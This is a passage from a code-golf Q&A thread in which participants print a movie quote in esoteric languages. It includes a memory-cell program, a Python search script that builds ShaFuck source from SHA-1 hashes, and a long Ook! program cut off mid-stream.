4. 484 484 22 # Increment *484. 884 488 25 # *488 = *884 + 1. 488 488 28 # Increment *488 two times. This prevents the infinite 488 488 31 # loop when *884 is uninitialized. 484 488 88 # If *484 + 1 == *488, jump to 88. 84 48 37 # *48 = 10. 48 48 40 844 4444 43 # *4444 = 3. 4444 4444 46 848 844 addr48:88888 # Jump back to 10. # Data. 88884884 888484 4484 8884484 4444848 4848888 4448448 4488 4444848 488 88 44888 4884848 4488 4444848 8488884 4488 4444848 484884888 48848 4848888 4448448 4444848 8884484 88 4488848 884484 88884884 4444848 4844848 4444848 4444888 4484 44884 4444848 addr84:8 # The 8 is for getting 10 in the loop. 444844 88 8484484 addr88:48 884 91 # *884 = content of current cell. 48 is also the last # data cell, which will be 88, the address of itself # when read. 884 is also the end-of-data marker. # *444 will be (current cell value mod 441) + 3 844 484 94 # Reset *484 to 1. 88 88 97 # Increment the data pointer. 4444 4444 100 # *4444 = 4. 444 4448 103 4444 4448 4 # If *884 was uninitialized, skip. 4448 4448 109 444 4448 (-1) # If it is at the end of data (2 mod 441), stop. 48 4444 115 # *4444 = 10 444 4448 118 4444 4448 4 # If the current cell value is 8, skip. 4448 4448 124 4448 4448 127 444 4448 4 # If the current cell value is 10 (the jump target), skip. 444 444 133 # *444 += 20. This makes the last cell value 88 outputs the 444 444 136 # last character "o". 444 444 139 # *444 will be (current cell value mod 441) + 23, which is 444 444 142 # either the character to output, or the character to 444 444 145 # output + 256. Some characters' minimum mod 441 444 444 148 # representations using only 4 and 8 overflowed 32 bit 444 444 151 # integer. But those characters plus 256 worked well. 444 444 154 444 444 157 444 444 160 444 444 163 444 444 166 444 444 169 444 444 172 444 444 175 444 444 178 444 444 181 444 444 184 444 444 187 444 444 190 444 (-1) 193 # Output the character. 848 844 4 # Jump back to the loop. ``` This program increments \*444 and \*484 together, and resets \*444 when it becomes a certain value. When \*484 equals to the data, \*444 will be the remainder of the data divided by some value. Only 6 memory cells in the code are addressable directly with 4 and 8. I must reuse some of them. This also made some operations not in the order I wanted, such as using uninitialized variables. But I can just discard whatever is returned in the first time of the loop and initialize after that. --- Some other languages found interesting but no longer usable: * More Unary variants + [Dot](http://esolangs.org/wiki/Dot) (uses `.`) + [A Language With Only One Instruction](https://web.archive.org/web/20080703211706/http://www.xyzzy.bravehost.com/NULL.html) (uses `*`) + [A](http://web.archive.org/web/20110319032415/http://www.sksk.info/a.html) (uses `A` but case sensitive, unfortunately) I found it in the Japanese Wikipedia. * Languages using numbers + [NULL](http://esolangs.org/wiki/NULL) I believed it should work without odd numbers. Unfortunately it doesn't. + [Smith#](http://esolangs.org/wiki/SMITH_sharp) Now I have 3 languages left. For anyone who want to write more answers, here are some directions to look for: * Real machine codes, if they have formats that don't require a file header, and have text input/output instructions. * Number-based OISC. * Non-esoteric languages, which happens to have single character instructions for some reasons. Maybe the APL family. * Self-modifying binary code. * Languages that are designed for some ideas about how the language should look like. * Languages not on the esolangs wiki and don't have an English description, which means they are hardly known to other users. To be exact, I had: * A hexadecimal language which should be able to print a quote with some self-extraction code. * A 2D language that works with any two distinct characters (except newlines). * An undocumented language that can use line lengths as instructions. [Answer] # 12. [ShaFuck](http://esolangs.org/wiki/ShaFuck) 0.2 (uses no `D`) The source code is exactly 4,784,128 bytes long, containing all allowed characters except `D`. It looks like: ``` atawSaa(a×1017)KKla8Kc(a×1017)atawSaa(a×1017)KKla8Kc(a×1017)…atawSaa(a×1017)4cwtrtr(a×1017) ``` here (a×1017) means the character "a" repeated 1017 times. The base64-encoded bzip2-compressed file (247 bytes) is: ``` QlpoOTFBWSZTWW9SDOgAgfoPgIRgAAgIACgFFIAAeEAB+52sQ2KYACaCT1VQ0AATUqgBoAUlSTEyemk+qV2BSuKhVc hIq6AoeKqI5BEe6qI+gUpfOZshoMraraVbDZsFiti1YtEbRawVajWLbCW0mybWwthG0qrZDGrYqirG21o1BrYq2xtD NNyCI9CoPYAiOuARHABEeqqI6FQfIjiqiOhUHdEYVKvFW2qvv6QtEYjJhpkkxEKo2qKjWjWo1jRGrFUUaNUVaNqNYq xqNFYtqNtbVFWgzaNhW1WYtaapVPGEpxEdRHYER3iMARH+LuSKcKEg3qQZ0A== ``` The SHA1-sum of the original file should be 1250ecf73c61ef93a31c4f7dfaa0a7631ada50bf. Output is quote 9: ``` "Fasten your seatbelts. It's going to be a bumpy night." - Margo Channing ``` [Previously forbidden](https://codegolf.stackexchange.com/a/42113/32353): ``` ?!"#$%&'()*+,-./0123567:;<=>@[\]^_` AbBCdeEFfgGhHiIjJkLmMNoOpPqQRsTuUvVWxXyYzZ{|}~ ``` Remaining characters: * Numbers: `4` `8` `9` * Uppercase: `K` `S` * Lowercase: `a` `c` `l` `n` `r` `t` `w` --- ShaFuck is a variant of Brainfuck. It takes every 1024-byte chunk, compute the SHA-1 digest, then use the 20-byte output as a Brainfuck program. As explained in the [blog post](http://shinhoge.blogspot.kr/2012/12/shafuck-is-not-unbeatable.html) linked from the wiki, there is a "vulnerability" in v0.2 that the SHA-1 output of the form: ``` valid-bf-program[(garbage)]valid-bf-program ``` is accepted. This allows a straight-forward conversion from a brainfuck command to a 2048-byte chunk. The encoder uses `a`–`z` as the character set, which is not suitable for us. So we need to write a "miner" ourselves. Now, there are 13 valid character available. Assuming SHA-1 output is random, if we want to fix the first 3 bytes, it corresponds to 3 × log₁₃(256) ~ 6.5 input characters. Therefore we need to iterate all 7-character strings made from these 13 alphabets: ``` import hashlib import itertools characters = b'aclnrtwDKS489' starts = {b'+>[', b'->[', b'.>[', b'.<[', b'+<[', b'-<[', b'>[', b'<['} ends = {b']<+', b']<-', b']<.', b']>.', b']>+', b']>-', b']>', b']<'} for i, group in enumerate(itertools.product(characters, repeat=7)): seq = bytes(reversed(group)) + b'a'*(1024-7) sha = hashlib.sha1(seq).digest() for s in starts: if sha.startswith(s): starts.remove(s) print(seq, sha) break for e in ends: if sha.endswith(e): ends.remove(e) print(seq, sha) break if i % 1000000 == 0: print('***', i, seq[:7]) ``` We could quickly then get these equivalents: ``` >[(garbage) = atawSaaaaaaa… (garbage)]<- = 9t9nctaaaaaa… (garbage)]<+ = KKla8Kcaaaaa… (garbage)]<. = 4cwtrtraaaaa… - = >[(garbage)]<- = atawSaaaaaaa…9t9nctaaaaaa… + = >[(garbage)]<+ = atawSaaaaaaa…KKla8Kcaaaaa… . = >[(garbage)]<. = atawSaaaaaaa…4cwtrtraaaaa… ``` So finally we have this straightforward encoder: ``` def encode(quote): SUFFIX = 'a' * (1024 - 7) PREFIX = 'atawSaa' + SUFFIX MINUS = PREFIX + '9t9ncta' + SUFFIX PLUS = PREFIX + 'KKla8Kc' + SUFFIX DOT = PREFIX + '4cwtrtr' + SUFFIX value = 0 for c in quote: char = ord(c) if char > value: yield PLUS * (char - value) elif char < value: yield MINUS * (value - char) yield DOT value = char with open('1.txt', 'w') as f: for seg in encode('''"Fasten your seatbelts. It's going to be a bumpy night." - Margo Channing'''): f.write(seg) ``` [Answer] # 87. Ook!, uses no `;` ``` Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook.Ook.Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!O